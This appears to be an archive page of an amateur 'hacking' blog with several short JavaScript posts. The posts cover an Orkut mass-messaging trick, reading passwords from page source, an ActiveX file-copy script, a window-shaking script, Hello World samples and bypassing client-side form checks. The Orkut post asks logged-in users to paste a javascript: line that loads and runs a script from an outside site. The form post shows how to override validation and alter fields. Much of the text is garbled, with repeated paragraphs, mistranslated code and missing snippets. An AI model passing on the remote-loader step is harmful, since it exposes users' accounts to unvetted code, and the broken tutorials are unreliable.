Showing posts with label Java Script. Show all posts
Showing posts with label Java Script. Show all posts
Wednesday, April 6, 2011
Sunday, March 20, 2011
How to send a single scrap to all your Orkut friends at once?
Did you ever want to send a single scrap to all your Orkut friends at once? It could be a photo, a video or a greeting card that you wanted to share with all your friends.
Here we have a hack for you to send a scrap to all your friends on Orkut at once, right from within your Orkut window. No need to sign up for a third party service. No need to download any application. Just do the following:
- Sign in to your Orkut account.
- Select the text in the address bar of your Orkut browser window and delete it.
- Copy the line below in the text box and paste it in the address bar of your Orkut browser window.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='https://sites.google.com/site/forwidget/orkut_scrap_all.js';void(0)
- Hit ENTER. You will see a form with to and message fields.
- Select a single friend or select all.
- Type your message in the message box.
- Click post scrap.
- Wait for the form to send the scrap to all your friends. It will take some time depending on the number of friends you have on your list.
- Once it is done you will get an alert that all scraps have been sent!
NOTE: Orkut has set a limit to the number of scraps you can post in a day. If the number of friends on your list exceeds that limit, you will be temporarily blocked from posting further scraps for that day.
Thanks...
Friday, March 4, 2011
(BASIC) How to hack with JavaScript?
Basic JavaScript hacking
LEVEL 1
You must first obtain the "source code": Set the security of Internet Explorer to high, click on the link to level 1 at the very top of the menu bar, Internet Explorer, the File, Edit, View, etc. Press the "View", "Source".This will take it up a Notepad window.
LEVEL 1
You must first obtain the "source code": Set the security of Internet Explorer to high, click on the link to level 1 at the very top of the menu bar, Internet Explorer, the File, Edit, View, etc. Press the "View", "Source".This will take it up a Notepad window.
Look for:
passwort=prompt("Please enter password!","") passwort = prompt ( "Please enter password !","")
This ensures a prompt box you can write in, that you enter as a password is stored in the variable "passwort".
if (passwort=="easy") if (passwort == "easy")
This checks on "passwort" (what you type) is "easy", the password for level 1 is when the "easy".
Set back security to medium and click on the link to the Level 1and type "easy".
Use the same procedure to obtain the "source code".
LEVEL 2
Once you have retrieved the Notepad window, there will be a lot of code. Just scroll further down, find this:
var m1, i; was m1, i;
m1="JavaScript"; m1 = "JavaScript";
value=prompt("Please enter password!",""); value = prompt ( "Please enter password !","");
if (value==m1) { if (value == m1) (
window.location=value+".htm"; window.location = value + ". htm";
i=4; i = 4;
What you type being stored in the variable "value",
if (value==m1) if (value == m1)
"m1" is a variable that contains a value. See further up:
m1="JavaScript " m1 = "JavaScript"
The password is "JavaScript".
Stay in touch for more tuts on tht topic...
thanks...
Friday, January 7, 2011
A javascript code for copy and delete/move file...
A javascript code tweak for copy, delete/move an existing file..STEPS:
1: Create a .txt file or open Notepad.
2: Copy below Java Script code innotepad.
<SCRIPT LANGUAGE=”JavaScript”><!– myActiveXObject=new ActiveXObject(“Scripting.FileSystemObject”);file = myActiveXObject.GetFile(“c:\\jw.txt”); file.copy(“d:\\test.txt”,true); [...]3: Save the file as test.htm or test.html as you wish.
4: Open theinternet browser (e.g. : IE).
5: Open the test.htm or test.html file.
Thanks...
Friday, December 31, 2010
Copy n Paste script for all Browsers...
Hi guys, today i'm introducing you a script that looks like simple but works as a WWE player... Amazing Script With All Browsers Support:-
Copy And Paste Script into Your Web-browser Address bar
javascript:functionShw(n) {if (self.moveBy) {for (i = 35; i > 0; i–) {for (j = n; j> 0; j–){self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0);} } }} Shw(6)
;)
Monday, November 8, 2010
'Hello World' in 10 programming languages
Before you start learning any programming language, you must knowthat how much important and popular the programming language is thatyou are going to learn.Because, learning itself is never a bad thing,we always motivate you to learn any new thing everyday. If yourlearning plan is in a managed and well planned way then you’ll nevereat mud in the mid way.
Most of the programming language have same methodology and almostsimilar to each other. If you learn PHP you can easily understand C andvice versa and same with others, because they are totally related toeach other.
"Hello World" Programs for top 10 programming language
One ofthe first programs that one usually writes when learning the firstprogramming language is "Hello World". Today we’ll show you the top tenprogramming language you must learn in your life to get never endingcareer in Computer Programming. We’ll also show you the first program"Hello World" to begin with.
PHP
<?php
// Hello World in PHP
echo 'Hello World!';
?>
C#
//Hello World in C#
class HelloWorld
{
static void Main()
{
System.Console.WriteLine("Hello, World!");
}
}
JavaScript
<html>
<body>
<script language="JavaScript" type="text/javascript">
// Hello World in JavaScript
document.write('Hello World');
</script>
</body>
</html>
Perl
# Hello world in perl
print "Hello World!\n";
C
/* Hello World in C */
#include <stdio.h>
main()
{
printf ("Hello World!\n");
}
Ruby
# Hello World in Ruby
puts "Hello World!"
Java
// Hello World in Java
class HelloWorld {
static public void main( String args[] ) {
System.out.println( "Hello World!" );
}
}
Python
# Hello World in Python
print "Hello World"
VisualBasic.NET
'Hello World in Visual Basic .NET (VB.NET)
Imports System.Console
Class HelloWorld
Public Shared Sub Main()
WriteLine("Hello, world!")
End Sub
End Class
These were only the introduction, you can see how they are common toeach other just to print "hello World" in your program window.Subscribe Hackspc.com to learn such programming languages.Enjoy programming n hacking...
Sunday, August 8, 2010
Killer JavaScript...
The essential problem with quotes is that they're used with display programming logic (such as with HTMLPHP, ASP, JSP or even SQL).Because quotes are used to delineate strings, having a string with aquote in it can cause undue problems. Luckily there is an easysolution. Since browsers display HTML ASCIIas regular text you can simply transform all your single and doublequotes that appear in text for display into their ASCII equivalent.
TheASCII code for a single quote is ' and similarly a double quotecan be represented in HTML as ".
Using these values it is easyto display both single and double quotes in HTML output withoutinterfering with any programmatic use of the quotes. This means thatquotes in display text won't interfere with any string delimitingquotes for display.
For instance, many times you'll run into thefollowing problem: and Javascript) as well as within back end programming (using scripting languages such as
As you can see, the quotation marks inside the valueattribute are going to wreak havoc with the display since the browserwill interpret them as closing the value attribute and so the rest ofthe string won't actually display within the text box. The followingcode will, however, display properly:
Even worse is the following problem:
$sql = 'insert into comment
(comment_body)
values ('There wasn't any way to accomplish it.');
mysql_query($sql);
?>
You can see how the above string is going to destroy the SQLinsert query right away. The single quote in the input string willprematurely terminate the SQL statement, resulting in an error (atbest). Although there are ways to deal with problematic input on theback end, it is often easier to scrub input on the front end first,insuring that form data is submitted cleanly. Using Javascript for thispurpose is lightweight and handy.This function searches through the values of all the elements in the form named 'theForm' on the page. Call it with
Remember, however, that a malicious user could bypass this checksimply by disabling Javascript in their browser. As a rule of thumb youshould never trust user input. Make sure that your back end code checksfor and escapes any quotes that could cause problems!
This will allow the function to run when the form is posted. Include the following Javascript snipit in your document as well:
Try it:
Wednesday, June 2, 2010
Hack Web Site with the help of JAVA

This tutorial is an overview of how javascript can be used to hack website and bypass simple/advanced html forms and how it can be used to override cookie/session authentication.
SIMPLE HTML FORMS
1. Bypassing Required Fields
Surely you have met a webpage that requires you to fill all fields in a form in order to submit it. It is possible to bypass these types of restrictions on any webpage. If you take a look at the webpage's source and follow it down to the form's code, you will notice the onsubmit form attribute. Hopefully by this time you have experienced the power of javascript and you know that javascript has control over every single element in a webpage, including forms.We can use javascript to our advantage in every page we view for we can modify, delete, or add any element to the webpage. In this case we wish to clear the form's onsubmit attribute in order for the form to be submitted successfully.
The onsubmit attribute generally points to a function that checks the form to have the correct format. A function that does this may look something like this:
1. Bypassing Required Fields
Surely you have met a webpage that requires you to fill all fields in a form in order to submit it. It is possible to bypass these types of restrictions on any webpage. If you take a look at the webpage's source and follow it down to the form's code, you will notice the onsubmit form attribute. Hopefully by this time you have experienced the power of javascript and you know that javascript has control over every single element in a webpage, including forms.We can use javascript to our advantage in every page we view for we can modify, delete, or add any element to the webpage. In this case we wish to clear the form's onsubmit attribute in order for the form to be submitted successfully.
The onsubmit attribute generally points to a function that checks the form to have the correct format. A function that does this may look something like this:
function formSubmit(x)
{
if(x.email.value=="") return false;
return true;
}
...
form name="spamform" method="post" action="process.php" onsubmit="return formSubmit(this);"
...
/form
I will not go into great detail about how the formSubmit function works. You should know that if the (textfield/optionfield/option/..) field is left blank, the form will not be submitted to process.php. Now comes the moment of truth, how do we modify the form so that onsubmit returns true everytime? The way we can access the form with javascript and do this is:
document.forms[x].onsubmit="return true;";
or
document.spamform.onsubmit="return true;";
Both of these 'queries' will allow you to submit the form free of restrictions. The secret is how to execute this. I do this using my browser's Location bar. All you have to do is enter this text into the location bar and press enter:
javascript:document.spamform.onsubmit="return true;";
The above statement will not work because the 'query' will return a value javascript doesn't know what to do with it so it dumps the returned value on the screen. We need a way to use this value and escape it from passing on to javascript. I know the exact way to do this, with alert()!
javascript:alert(document.spamform.onsubmit="return true;");
You will see an alertbox with "return true;" instead of dumping this value out to the webbrowser. Once you have executed this query you will be able to enter whatever value into whatever field in spamform.
2. Changing Fields' Values
If you have managed to change a form's onsubmit attribute to let you do whatever the (filtered) you want, what are the limits? Of course now you know that you can modify the onsubmit attribute of a form from the location bar, same goes for any attributes of any object in the page. This is how you can do it:
javascript:alert(document.spamform.fieldname.value="Tiger was here!");
or
javascript:alert(document.forms[x].fieldname.value="Dr_aMado was here!");
But of course, you already knew that. Didn't you? You can change the values of pretty much anything inside a form, including radios, checkboxes, selects, hidden values, buttons, anything!
Subscribe to:
Posts (Atom)